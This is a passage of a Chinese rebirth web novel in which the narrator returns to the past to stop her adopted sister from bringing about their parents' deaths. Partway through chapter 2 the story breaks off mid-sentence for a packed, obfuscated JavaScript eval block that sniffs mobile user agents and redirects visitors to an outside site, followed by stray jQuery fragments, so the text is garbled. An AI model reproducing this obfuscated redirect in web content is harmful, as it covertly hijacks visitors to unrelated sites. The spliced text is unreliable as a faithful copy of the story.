前一世,父母不顾亲朋好友们的劝阻,执意收养了被亲生父母遗弃在医院的女婴,把她带回家悉心抚养。
十四年后,他们被视如己出的女儿间接杀死,死不瞑目。
面对父母惨烈的死状,她却表现得冷血无情,甚至没有一丝悔意。
我失去父母,绝望之下不想独活,在夜晚爬上楼顶,毫不犹豫地一跃而下。
苍天有眼,我重生了。
这一次,我一定会阻止这个恶魔,保护好自己的家人。
1
“小北,这个暑假你就不要整天出去玩了,让姐姐给你好好补补课,好不好?”
是妈妈的声音,我迷迷糊糊地听着,一时分不清这是梦还是现实。
紧接着林北不耐烦的回答:“不要!我都说了多少遍了,我不想补课!你烦不烦啊!”
妈妈也不生气,仍是耐心地劝她:“你开学就初三了,再不抓紧,连高中都考不上怎么办?”
林北说:“大不了就去打工,你又不是我亲妈,用不着你管!”
她的声音很尖锐,像一道炸雷炸响,我一个激灵,隐隐感觉这个场景似曾相识,仿佛早就发生过一样,猛地睁开眼睛坐了起来。
坐在我脚边的妈妈被吓了一跳,问:“怎么了小南,做噩梦了?”
我没有回答,下意识摸过手机,手机屏幕上显示着日期:2025年7月9日。
我重生了,重生在离家上大学之前,惨案还没有发生,一切还来得及。
而此时,罪魁祸首林北正在和妈妈吵架,甚至说出了妈妈又不是她亲妈这种话,仅仅是因为不想让我给她补课。
我想到父母多年的付出和他们的付出换来的惨痛下场,心中又气又痛。
妈妈看我的脸色不好,担忧地叫:“小南?”
我怔怔地看着妈妈鲜活的面庞,扑过去一把抱住了她,带着哭腔叫:“妈妈!”
妈妈不明所以,安抚地轻拍我的后背:“好啦好啦,突然怎么了这是,是不是做噩梦了?”
我不敢和她说那是真正的血淋淋的噩梦,闷闷地“嗯”了声。
在妈妈怀中趴了一会儿,我抬起头看向沙发另一头的林北,她好像被我的反常行为惊到了,连手机都忘了玩,直愣愣地看着我。
林北是我的妹妹,但我们没有血缘关系,她是我的父母从医院收养的弃婴。
在我四岁那年,妈妈怀孕了,爸爸很高兴,无微不至地照顾着妈妈,我也很高兴,希望妈妈能生个小妹妹陪我一起玩。
就在全家都期盼着新生命的降临时,意外发生了,妈妈流产了。
我偷听到医生对爸爸说,妈妈再也不会怀孕了。
那阵子,即使我还不懂事,也能感受到家里的低气压,爸爸妈妈都很痛苦,哪怕在陪我玩的时候,他们的笑都很勉强。
之后的一天,爸爸带妈妈去医院检查身体,听到医生们正在议论一个女婴。
经过询问,他们得知那个女婴是被人趁着晚上遗弃在医院门口的,如果没人收养,只能送到福利机构去。
妈妈一下子就心动了,觉得女婴一定是上天对自己的补偿,便提出想要收养女婴。
爸爸一开始不太愿意,可在妈妈的恳求下,他还是答应了。
亲朋好友们听说后,纷纷跑来劝说他们不要这样做,别人的孩子终归是隔着血缘,养不熟的,万一以后亲生父母找来也很麻烦。
最后,父母把决定权交给了我,问我想不想要把小妹妹接来家里,我望着妈妈期待的眼神,懵懂地点了点头。
于是,父母不顾亲朋好友们的反对,执意收养了女婴,给她取名叫林北,并告诉我,无论如何也不能把真相告诉妹妹,要把她当成亲妹妹一样关心和爱护。
小小的我牢牢地记住了父母的话,努力做一个好姐姐。
可是,世上没有不透风的墙,林北还是从某个亲戚那里知道了真相,从此性情大变,彻底变成了一个叛逆少女。
直到十四岁那年,她亲自把刽子手引入家里,害死了父母。
得到噩耗后,我从位于邻市的大学赶回来,崩溃又绝望地质问她究竟为什么要这样做,父母到底有哪里对不起她。
她却是一脸冷漠,仿佛死去的只是两个与她毫不相干的陌生人。
她说:“我只是不想被他们控制,我想要自由。”
在亲戚的帮助下办完父母的葬礼后,我彻底丧失了活下去的意志,深夜爬上楼顶,纵身跳下,结束了只剩痛苦的人生。
重活一世,我必须阻止林北夺走我的父母,也要让父母醒悟,认清她的恶魔嘴脸。
2
小时候,林北还是个很讨人喜欢的小女孩。
她很喜欢黏着我,我出去找同学们玩她也要跟着,被叫“小跟屁虫”也不生气,仍是笑眯眯地叫哥哥姐姐。
长得好看,嘴巴又甜,同学们渐渐也习惯了带她一起玩,有糖果巧克力之类的小零食都会大方地送给她。
我本以为我的妹妹会一直这么可爱,一直是我最疼爱的妹妹。
直到她小学六年级时,一个亲戚在聚餐时喝多了,一不小心说漏了嘴,透露了她的身世。
随着年龄的增长,林北本就开始朦朦胧胧地生出一些怀疑,觉得自己和父母长得不像,比如爸爸妈妈和我都是双眼皮,只有她是单眼皮,我的鼻子长得像妈妈,嘴巴像爸爸,一看就是两个人的孩子,可她和父母却没什么相似点。
她问过父母,也问过我,我们都肯定地告诉她,我们是一家人。
我们精心维护的真相被一句醉话毁掉了。
林北无法接受。
一旦从另一种身份来看,很多事情就变了味道。
父母的教育变得十恶不赦,我偶尔的忽视也变得不可饶恕。她会把父母给我们姐妹俩的一切都放在天平的两端衡量,然后下一个父母偏心的定论,继而大发脾气,说我们从来没有把她当成家人,她只是个无关紧要的外人。
父母出于对她的心疼,只当她是缺乏安全感,对她更好,可没想到终是错付了。
我呆坐在自己的房间里,脑子里漫无边际地想着过往种种,这时林北开门进来,毫不客气地提出要求:“林南,给我一百块钱。”
我的眉头一下子就皱了起来。
前一世林北也是如此,进我的房间不敲门,总是背着父母找我要零花钱,我却不曾和她生气,每次都告诉她要叫姐姐,再问清楚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121422|186901||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她拿钱干什么,然后才会把钱给她。
现在想想,她听话地改口,老实地回答我的问题,不过都是为了装乖应付我而已。
想到她即将做下的恶事,我对她的恨意涌上心头,再也没办法用平常的口吻和她说话,冷冷地拒绝了她的要求:“我不会给你的,你也不要再找我要钱了。”
林北头一次遭到我的冷脸,愣了愣,软下声音叫:“姐姐……”
她自信我会吃这一套,却不知道我恶心得想吐,只想狠狠地揍她一顿再把她丢出家门。
但是残存的理智告诉我不能这样做,我还不知道她现在处于什么心理状态,万一激怒了她,反而导致悲剧提前发生,那就糟糕了。
想到这里,我强压下心头翻涌的反胃感,尽量心平气和地说:“我没钱。”
林北却不死心:“姐姐,爸爸妈妈给你的零花钱多,你就分我一点嘛,好不好?”
“爸爸妈妈给你的零花钱已经足够你用了,你要是有什么着急的用处,就去跟他们申请预支下个月的零花钱。”
我态度坚决,林北大概是知道自己今天是别想从我这里讨到好处了,忿忿地跺了跺脚,转身出去了,还不忘重重甩上了房门。
望着紧闭的房门,我皱着眉思索以后该怎么办。
再有不到两个月我就要去邻市上大学了,前一世,我因为刚刚进入大学过于兴奋,加上新认识了很多朋友,所以几个月都没有回家。
就在我想要回家看父母和妹妹的时候,却先收到了噩耗……
我不想再回想下去,摇了摇头。
不管怎么说,在开学之前,我必须解决掉这个问题。
或许,可以把她送回亲生父母身边?反正她也很想找到自己的亲生父母不是吗?
可是,该怎么去找呢?
正思考对策,好友周柠打来了电话,约我明天中午去吃火锅,我也正想着要不要找谁商量商量,便答应了。
3
第二天,我和周柠吃火锅,还没说什么,她先察觉了我的异常,询问是不是出了什么事。
我怕节外生枝,没有和盘托出,只问她知不知道怎么帮被遗弃的孩子找亲生父母。
周柠知道林北并不是我的亲生妹妹,听我这么说,立刻来了精神:“你想帮林北找亲生父母吗?”
我含含糊糊地应了声。
“你早就该这样了,不是我说,你家那个林北真的很不对劲,早送走早好。”周柠说到这里顿了顿,又说,“其实有件事我一直没有告诉你。”
“啊?什么事?”
周柠说:“你记得高二的时候,有一次我去你家里吃饭,回家后就因为过敏去医院了吗?”
我当然记得,那次之后周柠就不愿意来我家吃饭了,每次都是找我出去吃,或者是去她家,我只当她是对这件事心有余悸,心里很愧疚,也就不好意思再多邀请她了。
周柠压低了声音,说:“我也是事后才回想起来的,那时候我去客厅拿东西,看到林北在厨房捣鼓什么,后来她就端果汁来给我们,我还想她怎么突然懂事了,也没有多想就喝了,然后就……”
我意识到她想说什么,不可置信地问:“你怀疑是林北搞的鬼?”